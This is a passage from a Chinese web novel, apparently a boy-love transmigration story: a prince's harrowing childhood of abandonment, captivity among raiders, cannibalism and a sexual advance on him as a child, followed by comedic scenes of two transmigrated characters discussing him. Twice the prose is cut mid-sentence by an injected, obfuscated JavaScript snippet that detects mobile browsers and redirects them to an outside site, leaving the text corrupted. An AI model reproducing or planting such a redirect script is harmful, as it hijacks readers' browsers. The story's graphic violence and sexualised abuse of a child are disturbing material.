彼时萧鸿雪还不是什么昭王世子,只是凉州一个寻常洗衣妇的儿子。他没有爹,故而也没有姓氏,单名鸿雪。 那洗衣妇为人古板严苛,在鸿雪的记忆里,她好像不曾笑过。 她一个靠给人浆洗衣裳裤袜为生的独身女人,带着一个和她一点也不相像的孩子,受尽了邻人的流言蜚语。 她并不在乎旁人如何议论她,但当那些人在背后指指点点鸿雪是个不知来历的野种时,她会用最粗俗的言语叉腰大骂,舀整整一木盆的水泼在人家门前,吓得人家门都不敢出。 鸿雪都看在眼里,她不说,他也从来不会问她“我爹是谁?”或“我爹在哪里?”,两人之间有一种心照不宣的默契。 自鸿雪有记忆以来,常常是听着她在院中捣衣的声音入睡的。 她总是整天整夜地给人家洗衣裳,有时月亮已经上来,她还在哼哧哼哧地洗。驿站酒铺里的伙计们送来的衣裳,臭硬如牛皮,她每次洗完,都被熏得吃不下饭去,所以她极瘦。 鸿雪很想帮她,可是插不上手。他每次一靠近她的洗衣盆,她就沉了脸,重重打开鸿雪的手。 “滚开,读你的书去。” “你要是真的闲,练剑也好,读书也好,你的手不是拿浣衣槌的手。” 鸿雪揉着被打得发红的手,悄悄回头看她。 “我的儿子,以后是要考功名的……” 她把衣裳推到一边,发了会儿愣,和自己说话。 鸿雪在家读书弄炊,她则日复一日地背着衣裳去河边浣衣,两掌的掌背都洗起了鱼鳞般的斑皮。 她吃穿都节俭,但给鸿雪买书和剑谱时眼都不眨一下。她就是用这样一双粗糙黑紫的手,将鸿雪拉扯到了八岁。 鸿雪八岁那年,她在浣衣时不慎掉进了河上的冰窟窿里,两个时辰后才被来给她送饭的鸿雪发现。鸿雪哭着托邻人来救她,人虽救起,腿却废了,终日在榻,再不能下地。 鸿雪只得去做富绅员外家中做小工,受尽了毒打与责骂,还曾被员外家的呆傻儿子从背后扑上来拥抱纠缠。可为了给她挣回汤药和吃食,这些,他都忍了。 后来,洗衣妇不忍拖累他,饮毒自尽了。 她临终前,嘴淌乌血,将一个锦绸包袱递给萧鸿雪,第一次那样温柔地抚着他的发顶。 “你不是我的孩子,我这辈子没有成过婚。那日浣衣归来,在城墙根儿捡到的你。”妇人的语气很平静,鸿雪同样接受得很平静,“嗯,我知道。” “那天雪下得很大,是凉州这些年最大的一场雪,你在外面冻了那许久,脸都冻紫了,被我喂了些热米糊,居然就活了过来。” “我想,你大概就是这场大雪托生的孩子,故给你起名鸿雪。” “这绸布就是当年裹着你的襁褓,里头有你出生时所佩的一枚玉玦,还有我这些年为你攒的进学堂的钱银。” “之所以没有提前拿出来,是怕你拿这钱来给我医病。我这病,是医不好的,我自己心里明白。即使医好了,也是废人一个,活着受罪。” “日后,我不在了,你一个人也要好好活……” “好。”鸿雪垂下眼。 “娘,你是喝毒走的……疼不疼?” 妇人面带微笑地靠在他肩上,再无声息。 * 洗衣妇死后,鸿雪彻底成了孤儿,因为容貌出挑,比寻常的孤儿遭受了更多不怀好意的觊觎目光,常有人假借“醉酒”或其他理由来砸门,他每夜都要把门栓钥上三层,才敢勉强倚着房门入睡。 一个第一次见面时把鸿雪错认为姑娘、和他说话脸都要红透的邻家孩子,总爱偷揣着些馒头、肉包之类的跑来鸿雪家的烂瓦房,自院墙把东西抛进院中。 后来鸿雪刻意守着院墙,把他抓了个正着。 那孩子把头埋得很低,红着脸说:“我叫小乙,你……你很漂亮,我娘说你娘死了,没人管,我怕你没饭吃。” “你……你以后能不能给我做媳妇儿?” 饿了许久的鸿雪捡起地上的馒头拍了拍,抬起头,淡淡地看了他一眼,蠕动着发白的嘴唇,“……谢谢。” “但我应该不能给你做媳妇。我也是男孩。” 小乙愣了愣,然后羞得当场跑开了。 鸿雪以为小乙不会再来了,但第二天,鸿雪又抓到了在墙下鬼鬼祟祟地朝院内扔馒头的小乙。 小乙红着脸,挠着头说,“你……你要是不嫌弃我,以后,我给你做大哥,我保护你。” “好。”鸿雪轻笑一声。 后来,小乙的爹娘死于一场山火,他和鸿雪两人便成了一起睡破庙的相依为命的流浪儿。 小乙嘴甜胆大,人又机灵,哪怕是乞讨,两人也没有为吃食发过愁。 一日,小乙发现鸿雪总是抱着一个绸布包袱发呆,很是好奇,询问他这包袱的来历。 鸿雪咬着唇,深深地看了他一眼,还是将实情告诉他了。 “你大概是富贵人家的孩子呀,等你哪日寻到自己的爹娘,就能过上锦衣玉食的好日子了吧……” 小乙垂下眼,摩挲着裤上的补丁说。 翌日,鸿雪醒来,小乙和自己怀中的绸布包袱一齐消失了,自己则被丢在了靠着边镇的一座山林中。 没有歇斯底里的叫喊和寻找,鸿雪不言不语地摸下了山。因为模样生得好,容易揽客,靠着给山下的一家茶馆端茶,也能勉强饱腹。 可后来,竟遇上了来边镇打秋风的突厥兵。 那日,鸿雪在那间茶馆,见到了真正的人间炼狱。 被焰浪吞噬的房屋,片刻前还在笑吟吟地聊闲天、如今胸插刀斧倒在桌案上的茶客,能淹没足腕的血泊,散落一地的肝肠器官,耳畔尖锐刺耳、长响不绝的惨叫与哭喊声。 鸿雪刚从灶屋端茶出来,尚还没反应过来,就被突厥士兵一刀鞘打晕了,被绑上马匹颠簸了一夜。 第二日醒来时,他已身处突厥叶护帐中。 自大燕边镇里掳回的妇孺们犹如货品一般,被绳索捆缚着手脚,堆在帐心。他们披头散发,双目无神地靠在一起,任突厥贵族们拣选。 标准很简单,漂亮的、健康的被贵族带回帐中为妾为奴,肆意玩弄;不漂亮的,砍去头颅与手脚,尸首以雪盐浸在坛中,充作过冬的“米肉”;病得奄奄一息的,朝心口来一刀,再扔到雪地里,或被狼群分尸,或被风霜冻死。 鸿雪咬着下唇,不言不语地坐在其中,手中紧握着自看守那里偷来的短匕。他看见摆在帐中四角的坛子里是被淹没在盐中的孩童的头颅、手脚,两眼通红,咬紧了牙。 在强大的求生本能驱使下,鸿雪刺死了两个想将他硬拖入帐中的突厥士兵。后来他被抓住,那些人劈头盖脸地给他浇了一盆冰水,他直接被冻晕了过去。 醒来时,他和一头饿了许久、眼冒绿光的狼同处一室,帐外是以观赏人狼搏斗取乐的贵族们。 “啧啧,这可是个手刃过两个突厥勇士的狼崽子,和之前那些只会哭着求饶的不同……” 在鸿雪浑身都被撕咬得血肉模糊之后,他咬了咬牙,摆出一副无力反抗的柔弱姿态。 就在那狼扑过来,准备咬断他的脖颈时,他于狼吻之下露出一个染血的笑容,然后用手中那把短匕快准狠地割破了狼的喉咙。 温热的狼尸压在鸿雪身上,缓了许久后他才恢复力气,推开那具狼尸,慢慢爬了起来。他那副银发飘扬、血溅面容的模样,深深震撼了帐外的突厥贵族。 “他好美……这么小的年纪,居然有着兵士般的眼神。” 其中有一个眼窝很深的,名叫慕容伽的贵族,他将奄奄一息的鸿雪抱回了自己的帐中,对他悉心照料,给他纸笔和书籍,授他突厥文字,也教他武艺。 可鸿雪刚刚有了一点模糊的关于“父亲”的概念,就被慕容伽亲手撕碎了。 一晚,鸿雪在书案前写字的时候,慕容伽浑身酒气,站在鸿雪背后伸出手,抚摩鸿雪的脸廓,然后将手探进了他的前襟。 鸿雪浑身僵硬,大脑有一瞬的麻木,等他回过神,他已抓起案上的烛台将慕容伽的手臂刺伤,鲜血如同烛油一般,淋淋漓漓地淌了一地。 慕容伽捂着流血的手臂,匍匐在鸿雪身前,牵起他姑娘般白皙娇柔的手掌,抚上自己的脸,神色迷醉:“雪……雪,你是我的公主,你好美,你太美了,给我吧。” “我是你的奴隶,你的狗,求求你,给我,干我吧,你想对我做什么都可以。” “我虽然不能人事,但我是这么爱你啊……” 鸿雪又惧又反胃,嫌恶地将他踢开,慕容伽却依然像条狗一样,趴在他脚边,亲他的足尖。 “雪,你总是这么冷淡,我不开心了。”慕容伽站起身,掐住鸿雪的脖颈。 “那你可以去死。” 这个漂亮到即使神情轻蔑,也很难让人生厌的男孩用突厥语轻声回复。 “雪,你太不听话了。” “难道我对你不好吗?我原想用烧红的铁在你身上烙下我的姓名,但我一直舍不得。” 他攥起鸿雪的下颔,轻声道:“明日,我要带你这个被我捧在掌心上的珍宝,去看看其他燕人过的是什么日子。” “我要让你明白,如果不是我的庇护,你早就被他们分食得骨头渣都不剩了。” 翌日,关押着待选妇孺的毡帐内。 妇人和孩童大声尖叫,哭着逃窜,光裸着下半身的男人或邪笑或怒骂,朝他们的后脑掷去一柄斧头。 慕容伽按着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916550|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿雪的肩,让他看着那些鲜血四溅、生啖人肉的场景,看着其余燕人是如何像砧板上的鱼肉一样,任人宰割。 鸿雪从一开始的恐惧、惊慌,到最后的彻底麻木。 “雪,你知道吗,除了我,还会有很多人喜欢你,但他们的手段,比我残忍一万倍。” “你想试试吗?” 鸿雪垂着眼眸,没有说话。 慕容伽不满意他这种反应,于是第三天,他剥净鸿雪的衣衫,让他只着一层薄纱,给锦帐内的贵族们献舞。 鸿雪看着那些人浑浊的、通红的,野兽一样的眼睛,冷冷一笑。 他在舞中坐到了另一个贵族的腿上,故作娇柔姿态,勾住他的脖颈。 那人吮舐着他鬓边的一缕银发,神情迷醉:“好香啊……怪不得阿伽视他如珍宝,藏着掖着不给我们看,果然是个皮毛极漂亮的狼崽子。” “哈哈哈哈,我都想去仔细瞧瞧看他下边有没有根儿了,居然长成这副狐媚子样。”旁边有人附和道。 慕容伽则笑吟吟地喝着酒,没有说话。 和鸿雪对视时,他露出了那种“你看,还是我好吧”的得意神情。 当夜回帐,慕容伽以为自己已经彻底驯服了这个小美人,伸手欲抱他,鸿雪却用在坐到那个贵族腿上时顺走的他腰间的金刀,狠狠地刺穿了慕容伽的胸口。 慕容伽死前,嗫嚅着嘴唇,鸿雪以为他在恶狠狠地咒骂自己,极快意地凑过去听,发现他在说的话是:对不起。 对不起? 多么恶心、多么可笑的三个字。 鸿雪勾唇一笑,踢了一脚慕容伽的尸首,走出帐外的瞬间,被守卫围住,作为过冬粮食被关押在牢狱中。 后来,因为狱中缺穿少吃,又时刻精神紧绷,他病了,病得很严重,时常咯血。 因为无法再被用作“米肉”,看守将他随手扔给了马倌。 那马倌将他绑在马匹上,估计是想把他冻死。 他以为自己终于要解脱了。 生命最后的时刻,他发现自己好像谁也不恨,不恨一出生就将他抛弃的爹娘,不恨小乙,不恨慕容伽,他最恨最恨的人,是他自己。 他似乎总因为这张不似寻常男儿一般硬朗的,柔媚得恶心的脸而受难呢…… 但他没死。他醒来时,发现自己被那匹马甩到了另一个边镇,被一个外出买胭脂水粉的妓子捡了回去。 那妓子就是穆忆。 那个时候,鸿雪病得双唇发白,说话含糊不清,吃饭都张不开嘴,穆忆给他灌了些肉糜汤,一口一口地把他喂活了。 “模样生得真好……你叫什么?”这是穆忆和他说的第一句话。 “鸿雪。” “姓呢?” “没有……没有姓。” “没有姓?” 穆忆深深地看了鸿雪一眼。 “以后,你姓萧。” “我就是你娘,你是我的亲儿子。” 她刻意加重了那个“亲”字。 “你爹,是个了不起的大人物。有了你,他一定会愿意把我接到身边的。” 穆忆抚着自己平坦的小腹,神色癫狂。 “下个月,我就带你去认他。” …… “你爹为什么不喜欢你?为什么他见了你,还是不愿意把我们接进王府,只勉强同意把我们养在外宅?” “你这个没用的东西……” 穆忆狠狠地甩了萧鸿雪一耳光,看着他面上的红色掌印,又心疼地把他揽进怀里。 “娘错了,娘给你熬碗甜汤喝,好不好?” 曾经用肉糜汤一口一口把他喂活的人,如今又给他端来一碗热气腾腾的甜汤,萧鸿雪却在碗沿上看见了未拭净的粉末—— 是砒霜。 “娘病了,活不长了,你是我的孩子,娘舍不得你,你和娘一起走,好不好?” 穆忆神色温柔而癫狂的脸庞一闪而过。 * 萧鸿雪意识回笼,身形摇摇欲坠,眼前满是血气,一只眼流泪。 他双手控制不住地发抖,指甲将掌心掐出了血痕,浑身颤抖,眼看就要站不稳了。 就在他有如风中的残叶,要向后倒去时,一双有力的手稳稳地将他托住了。 一直注意着突厥使团这边的杨惜见使节们将萧鸿雪团团围住,愣了愣,疑惑萧鸿雪怎么会和突厥王子起冲突,但他没有多想,赶忙奔了过来,一把将快要摔倒的萧鸿雪揽进了自己怀里。 杨惜满鬓的金玉叮叮当当地响,因为一路跑过来,轻轻喘着气。 “阿雉,没事了,没事了,哥哥在这里。” “没有人可以伤害你。” 杨惜安抚地摸了摸萧鸿雪的脸颊,萧鸿雪的身形比杨惜略矮一些,两人这样站着,在旁人眼里,就好似一对亲密相偎、互诉私语的恋人。 39.仆射 白马寺。 刚下过一场大雨,寺院内繁茂的树木枝叶上沾满了水珠,庭石上的青苔分外潮湿黑亮,连寺院中央池畔的假山都被雨水淋得绿意盎然。 骤风将郁郁苍苍的树丛里的落叶吹到池中,荡起阵阵涟漪,天边传来闷重的雷声。 杨惜头戴幕篱,微微垂首,行走在一片濡湿的石板路上,时刻小心着踩到石板缝隙里的青苔滑了脚。 快要行至寺院厢房前时,他眼前掠过了一片素白的衣角。 一个撑着纸伞、素衣雪襟的男子站在前方,轻轻拨弄着手里的珠串,似乎是在等待什么人。 杨惜不以为意,正准备绕过他,可在经过那白衣男子时,手腕却倏地被他攥住了。 “你……” 那白衣男子凝望着杨惜掩映在幕篱下的脸庞,欲言又止。 杨惜愣了愣,也反过来打量这白衣男子。 这人约莫三十出头的年纪,白衣丝履,颜容清俊,面上笑意谦和温润,身上有股好闻的檀香气,一派谦雅君子的气度。 “何事?”杨惜轻声发问。 “你……不认得我吗?”那白衣男子微微蹙眉,神色复杂,眸光却紧盯着杨惜脸上的神情,似乎在判断他是否在说谎。 “我们……见过吗?” 杨惜的声音有些犹豫,即使结合小说里的外貌描写也很难判断此人是谁。 他在心中暗暗腹诽这萧成亭的社交圈真是大得麻烦,每隔几天就会随机刷新一个npc幽怨地问他“你不认识我吗?”。 废话,他又不是原主,只是一个半路顶号的倒霉蛋,认识才有鬼了。 那白衣男子见杨惜不认得他,面露惊愕之色,随即叹息了一声,松开手,朝杨惜作了一揖,道:“失礼了。” “无碍。” 杨惜有些莫名其妙,看了白衣男子一眼,然后径直走进前方的厢房。 身后的白衣男子一直目送着杨惜离去的背影,想到方才与杨惜对视时瞥见的他颈侧那紫红的吻痕,脸色有些阴郁。 这时,一个小厮模样的人捧着一束线香走来,“仆射大人,线香。” 谢韫点了点头,收回目光,拭了拭落在自己襟上的雨水,接过那小厮递来的香。 “大人方才在和那位公子交谈?那是哪家的公子啊?”小厮好奇地望着杨惜的背影。 谢韫闻言,微微一笑,没有直接回答,只道:“是位……玉叶金柯的贵人。” 杨惜拾阶而上,走到一间厢房门前时,取下自己的幕篱搁在门边。 然后,他推开亮净的木门,见明月正一边喝着热茶,一边提笔写着什么,脸上笑容有些诡异。 “明月。” 杨惜朝明月一笑,挥了挥手。 “……儿媳妇?” 明月神色有些慌张,用案上的镇尺压住自己方才书写的宣纸,然后起身迎人。 “你来慰问我啦?” “嗯。”杨惜将手中的食盒递给了明月。 “这什么?”明月掂了掂食盒。 “烧鹅,喜欢吗?” “喜欢,呜呜呜呜,不愧是我的子期,你怎么知道我好久没见荤腥了,我在这里吃草都快吃成沙拉精了!” 明月抱着食盒粲然一笑,双眸发亮。 “谁让你做这么绝的,好好的昭王府女主人不当,非要跑来寺院做尼姑啊?礼佛修行之人还想沾什么荤腥。” 杨惜倚着门框,面带笑意。 “酒肉穿肠过,佛祖心中留嘛……” “主要是,我不想英年早婚啊,每天被一个长得跟我爸似的老头子牵牵抱抱喊娘子,耳语什么‘娘子啊我们该就寝了’,真的很惊悚啊!” “像昭王那种年纪的,如果是ktv男模,进门吃我一口果盘我都得报警。” “还有那个萧淮流,我都不想说,那么俊的一张脸,完全照着我理想型长的,但他一张嘴就叫我母亲,听得我心都碎了。” 杨惜听见明月夸奖萧淮流的容貌,一顿,眼底闪过一丝不易察觉的异样情绪。 “为了避免我日后做出什么有违人伦道德的事情,我只好出家遁了。” “而且在魏书萱在昭王府这么多年,周围的人都熟悉她,如果脾性举止异常,太容易引起怀疑了,男主哥萧鸿雪可时时盯着我呢!” “儿媳妇你对我真好,下次来看我再给我带只城南的烤鸡行不,上次我实在馋肉馋疯了,看见寺院里养的鸡就把持不住,眼冒绿光,尾随了它们一路,把路过的僧人吓坏了,嘿嘿……” 明月不好意思地挠了挠头。 “咦……那只手里提的什么?也是给我带的吗?”明月目光下移,好奇地看了一眼杨惜另一只手里提着的油纸包。 “馥心斋买的糕饼,准备给萧鸿雪送去的,你要尝尝吗?” “儿媳妇,你……你把他当女朋友哄啊?”明月有些惊讶。 “小孩子伤心不就爱吃甜的吗,我弟杨忱就这样,以前我把他惹哭了,一个蛋黄酥就能哄好。”杨惜答道。 明月轻笑一声,正要说些什么,倏地注意到了杨惜颈侧那片被衣领挡住的旖旎痕迹,脸色一变。 “这这这这……这又是什么?” 明月抬手,手指颤抖着一指。 杨惜闻言垂首,顺着明月手指的方向望去,顿了顿,拢紧了衣领。 “……萧鸿雪啃的。” 明月:“?” “你们已经发展到这一步了吗?” “简直伤风败俗,世风日下,白日宣淫,细……细说。” 明月将食盒搁在一旁,兴奋地望着杨惜,抓着他的肩猛晃。 “别胡思乱想,没那回事。”杨惜神情一变,按住了明月的手。 他看着明月期待的眼神,沉默了一会儿,接着道:“这个,说来话长了……” 杨惜的思绪被拉回了籍田那日。 * 那日杨惜刚行完籍礼,走下台坛,就看见萧鸿雪被突厥使团围住,他一手擒着慕容嘉的胳臂,使节们纷纷抚刀,面色不善。 杨惜正疑惑萧鸿雪怎么会和慕容嘉起冲突,但转头一看,萧鸿雪面色发白,浑身颤抖,眼看就要站不稳了,心里一紧。 他从没见过萧鸿雪这个模样,赶忙冲进使团,将快要摔倒的萧鸿雪一手揽在怀里。 贺萦怀紧跟杨惜身后,抱着剑,面色凛然,眯着眼挡在杨惜和萧鸿雪身前。 “王子怎么还和本宫的幼弟动起手来了?本宫疼他还来不及呢。” 杨惜有些愠怒,蹙起眉,全然不顾方才是萧鸿雪单方面对慕容嘉动手的,言语间大有兴师问罪之意。 不管谁先动的手,能把性格清清冷冷的萧鸿雪给逼成这样了,那肯定是慕容嘉的错!杨惜心想。 “……是误会,是小王对这位美人世子出言不逊在先。” “抱歉,世子殿下。” 慕容嘉听出了杨惜话中的回护之意,活动着自己脱臼的胳臂,琥珀色的眼瞳转了转,向杨惜颔了颔首,主动铺了个台阶下。 杨惜没有看慕容嘉,眸光仅落在自己怀中的萧鸿雪身上。 萧鸿雪把脸轻轻靠在杨惜胸口,他闻到了那日杨惜把自己抱出昭王府时,身上那股冬日暖阳般温暖的香气,竟然真的安定下来了,没有挣出杨惜的怀抱。 杨惜愣住了,心中一片柔软,摸了摸萧鸿雪的头,“乖。” “不怕,哥哥在这呢。没有人可以伤害你。” 然后,杨惜转头瞥了慕容嘉一眼。 “雪儿年纪尚幼,有些怕生。本宫先带他离开。” “失陪了,王子。” 走出几步后,杨惜回头道:“萦怀,你也在这等着本宫就是,不必跟来。” 贺萦怀颔了颔首,回身打量着方才欲拔刀的突厥使团,一副不苟言笑的严肃表情。 慕容妗跃下马背,牵着马,好奇地望着这个抱剑的青年。 这时,一个绣袄锦裙的少女自台坛上跑了下来,腕边银铃脆响。 她自背后亲昵地挽住贺萦怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938504|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳臂,问道:“萦怀哥哥,我皇兄呢?” 被挽住胳臂的贺萦怀轻咳一声,有些不自然地望向远方,“太子殿下有些事要处理,命臣在此等候。” 萧成碧闻言瘪了瘪嘴,“皇兄都好久没带玉奴一起玩了,在忙什么呢……” 这时,萧成碧突然望见了一旁牵着马的慕容妗,眼神一亮,蹦蹦跳跳地跑到她面前。 “咦,你也会骑马吗?” 慕容妗收回打量的视线,看着眼前这个眼睛亮晶晶的少女,赧然一笑。 “会,我们草原儿女就是在马背上长大的,我自小骑的就是烈马。” “哇——真厉害!本公主新得了一匹性子很烈的皎雪骢,难以驯服,你可以帮我驯驯吗?” “当然。” 萧成碧闻言粲然一笑,挽起慕容妗的手,“那就和我走吧,我叫萧成碧,大燕的玉奴公主,你可是突厥的王女么?” “是,我叫慕容妗。” 两人手挽着手,言笑晏晏地走远了。 两位公主相处如此融洽亲密,贺萦怀与突厥使团这边的气氛也渐渐回暖,甚至有使节向贺萦怀递去了自故乡带来的点心。 …… 一旁的树林中。 杨惜径直揽着萧鸿雪走到一棵杉木旁,他停下脚步,什么话也没说,一手揽着萧鸿雪的腰,一手轻轻抚着萧鸿雪的背。 ……他腰好细噢。瘦骨纤纤,我见犹怜。 杨惜在心中感叹了一声。 萧鸿雪将头埋得很低,肩头微微耸动。 他、他哭了? 杨惜愣了愣,不由紧张起来,心脏跟着萧鸿雪肩头的起伏剧烈颤动。 看见萧鸿雪难过,他心里也难受起来,有些手足无措,正欲说些什么,怀里的萧鸿雪倏地抱紧了他。 杨惜一愣,轻轻回抱住萧鸿雪。 萧鸿雪却突然仰头,在杨惜颈侧咬了一口。 “嘶……” 这是极纯粹的啃咬,没有一丝亲吻的旖旎情调,杨惜疼得直抽冷气,眉头紧锁。 但他也没舍得把睫上还悬着泪珠的萧鸿雪推开,只伸手捂住了自己流血的伤口。 “阿、阿雉?” 萧鸿雪眼神一暗,对杨惜捂住自己颈侧的动作很是不满,他盯了杨惜一会儿,随后,眸光停在了杨惜那淡粉莹润的双唇上。 杨惜还沉浸在被萧鸿雪咬了脖颈的震惊中,眼前突然一阵天旋地转——萧鸿雪把他按倒在了地上。 草芒刺着杨惜的背脊,他讶然地看着跨坐在自己腰上,将自己的双手锢在一边的萧鸿雪,微微张唇,一时反应不过来。 萧鸿雪眼前似乎笼着一片朦胧的雾气,他俯下身,一头如缎的银发轻轻扫着杨惜的面颊,带起些微痒意。 杨惜正准备挣扎起身,萧鸿雪却极不满他挣扎的动作似的,加重了攥住杨惜双手的力道,神情变得暴躁阴郁。 “哥哥,你躲我……” 是错觉吗,怎么感觉萧鸿雪的语气好委屈啊? 杨惜愣神间,萧鸿雪已经啄上了他的唇角,用劲儿很重,腥甜的血液沿着唇缝流进了杨惜嘴里。 萧鸿雪咬人怎么像小猫磨牙似的……算了,孩子难过的时候想咬人就让他咬吧,咬了我可就不能再给我上腰刑了哈。杨惜心想。 他不再挣扎,任萧鸿雪动作,抬手轻轻抚着萧鸿雪的后脑。 一晌儿后,萧鸿雪眼神恢复了清明,倏地把杨惜嫌恶地推开,他拭了拭自己唇角的血迹,站起身。 他刚才……在干什么? 萧鸿雪看着杨惜被蹂躏得发皱的衣领、沁着细汗的白皙肌肤,以及唇角的狼狈痕迹,神情复杂。 然后,他毫不犹豫地撇下杨惜,转身就走。 ……这个人怎么咬完就变脸?! 杨惜坐了起来,捂着唇角流血的伤口,目瞪口呆地看着萧鸿雪瘦削挺拔的背影。 萧鸿雪拔出腰间的佩剑,以剑作杖,稳住自己的身形,一步步向外走,渐渐消失在杨惜的视线里。 40.春雷 “然后……就这样了。” 杨惜坐在明月搬来的一张紫竹椅上,将事情原委讲述完毕后,抚了抚自己唇角的伤口。 他回想着被萧鸿雪按倒在草地上时,萧鸿雪那近在咫尺的昳丽眉眼和微凉的唇,有些出神。 那个时候,杨惜在萧鸿雪那双极漂亮的幽紫色眼眸里看到了一种极陌生的渴望情绪。 他唇边留有萧鸿雪唇齿的余温,掺杂着几丝暖甜锋利的血腥味,心脏随着自己发间的金簪玉钗一同颤晃了几下,竟就这样轻易地被勾起了欲念。 萧鸿雪好漂亮啊,身上还……香香的。 想着想着,杨惜无意识间勾起了唇角,眉眼染着笑意,面颊发烫。 坐在旁边的明月盯着杨惜看了一会儿,觉得好笑,拍了拍杨惜的肩,道:“兄弟,看看你这副不争气的样子,羞怯和怀念都写在脸上了,你还说你对萧鸿雪只是纯崇拜?!” “别崇拜着崇拜着崇拜到榻上去了,衣服都脱光了还和我说你们这是兄弟情深哈。” 杨惜闻言回过神来,摇了摇头,连声否认:“那怎么可能,萧鸿雪这种可远观不可亵玩的暗黑疯批,我是想跟他混又不是想跟他睡——我不要命啦?” “上一个想和他玩霸王硬上弓的已经变成宗人府里的扫地机器人了,我可不能重蹈原主的覆辙。” “而且萧鸿雪亲我的时候看着有点神志不清,后来他清醒过来了,直接毫不犹豫地就把我撇开了。” “估计是发现自己在神志不清的时候亲了深恶痛绝的仇人,感觉很震惊很恶心吧。” “哦……所以萧鸿雪是亲着亲着就抽身离开了,那你很失望咯?”明月笑眯眯地托着下颔。 “滚,我没有。”杨惜立马出声辩驳。 “除了和尚或者那方面不行,谁被这么个香香的大美人又抱又亲的会没反应啊?” “我好歹也是个血气方刚的青年男儿,何况萧鸿雪以前还是我最喜欢的纸片人,把他给印在饭卡卡套上了的那种。现在突然和他面基,还被他主动亲了,我一时把持不住,也很正常吧?” “可以了可以了,太子殿下,你不用再狡辩了。” “你就说被他亲被他抱的时候爽不爽吧?” 杨惜凝噎了一下,低下头,轻声回了一句:“……爽。” 明月见他这副模样,忍俊不禁地捶了他胸口一下。 “你之前说,你保命的思路就是给萧鸿雪当舔狗,格局太小了。你既然这么喜欢他,干嘛不直接格局打开,把他变成你老婆啊?你不觉得与其给大哥当小弟,不如直接成为大哥的男人更有前途吗?” 杨惜听了明月这一股男嫂子文学味的保命思路后,震惊地抬起头,不可置信地质问了她一句: “……我看着像会对男人感兴趣吗?” “像啊。”明月毫不犹豫地答道。 杨惜:? “那萧鸿雪看着像会对男人感兴趣吗?” “不太像。” “他看着像对男人女人都不感兴趣。” “那不就得了。”杨惜耸了耸肩。 “事在人为,儿媳妇,”明月瞪了他一眼,立马出声打断,“你也别净想着当舔狗了,没出息,要干就干票大的,直接当他老婆,到时候别说保命了,说不定连这大燕江山他都能分你一半爽一爽啊!” “而且萧鸿雪真的又美又强得牛逼,对吧?”明月循循善诱。 “嗯……” “都说儿子随妈,我都这么喜欢你,他也会喜欢你的,要有信心啊,烈郎也怕缠郎!” “缠郎”杨惜闻言,嘴角抽搐了一下。 明月起身抻了个懒腰,眸光不经意地瞥了一眼桌案上的那沓宣纸。 杨惜注意到了她这个细微的动作,快速摸到书案前,发现宣纸上多次出现自己和萧鸿雪的大名,被勾起了好奇心,欲拿起一观。 “别,别动!”明月注意到了他的动作,惊呼了一声。 但是为时已晚,杨惜已经神情僵硬地将宣纸上的内容念了出来: “萧鸿雪将杨惜的双臂锢在头顶,用发带蒙住他的眼睛,然后俯下身,轻轻吻舐着他的耳垂和脸颊。杨惜面染绯色,轻声呻吟了一阵,萧鸿雪眼神深邃地将他抱起,让他跨坐在自己腰上……” “萧鸿雪见杨惜紧张地微微发抖,轻笑一声,道:‘哥哥……别怕,坐上来。’” 诸如此类的文字,足足有一指节这么厚的一沓。 杨惜心惊肉跳,不敢再读,红着脸放下了手中那沓厚厚的宣纸,不可置信地望向明月,“这……这,什么东西?” 明月赶忙抢过那沓宣纸抱在怀中,羞赧一笑,道:“寺里呆着太闷了,我在给我家cp产粮呀。” 杨惜:? “为什么我是下面那个?” “因为冷艳病娇大美人攻和阳光活泼小狗狗受很好磕啊。”明月笑眯眯地回道。 明月见杨惜神情严肃,全无笑意,有些诧异地问了句:“啊,难道你不是……吗?” “我站反了?” “站没站反我不知道,我只知道你拉郎拉得太离谱了。” 见明月一脸慈爱,如抚珍宝般抚摩着自己手中那沓厚厚的宣纸,杨惜顿了顿,问道:“你……写了多少?” “也没多少,都在这儿了,我就随便写写。” “都是我在下面?” “嗯……” 见杨惜面色不虞,明月忙道: “儿媳妇,你别生气,我马上写他在下面的,马上写!” “阳光活泼小狗狗攻和冷艳病娇大美人受也很好吃,都可以吃!” 杨惜眼神怪异地看了她一眼。 看来寺里的生活是真的有够无聊的,能把无cp作者给生生逼成bl作者了。 “谢……谢谢啊,我插句题外话,除了和萧鸿雪搞男同,还有没有什么更体面的保命方法?” “有的,兄弟。” 杨惜期待地望着明月。 “夺舍他的白月光大哥萧淮流。” 杨惜:“……” “与其幻想这个,还不如直接把死遁丹掏出来,嚼巴嚼巴咽了。”杨惜转过脸去,望着窗外枝头上的鸟雀。 “小惜,无需自卑!萧淮流是他哥,你也是他哥啊!” “千万不要冲动,销号重来可就是真的白手起家了,不到绝处还是不要想了。” “毕竟,你我是被两手空空地扔进这个世界的,本来以为有剧情挂可以依托,没想到这挂根本就货不对板,《燕武本纪》和这个世界根本就是同人衍生和原著的区别啊!” “销号之后你我就是两个连户籍都没有的黑户游民了,在这种等级森严的封建王朝会惨成什么样,我都不敢想。” “到时候我们哥俩双双入奴籍,你被抓去边疆拉石头,我被拉去当丫鬟,这真的是你想要的吗?” 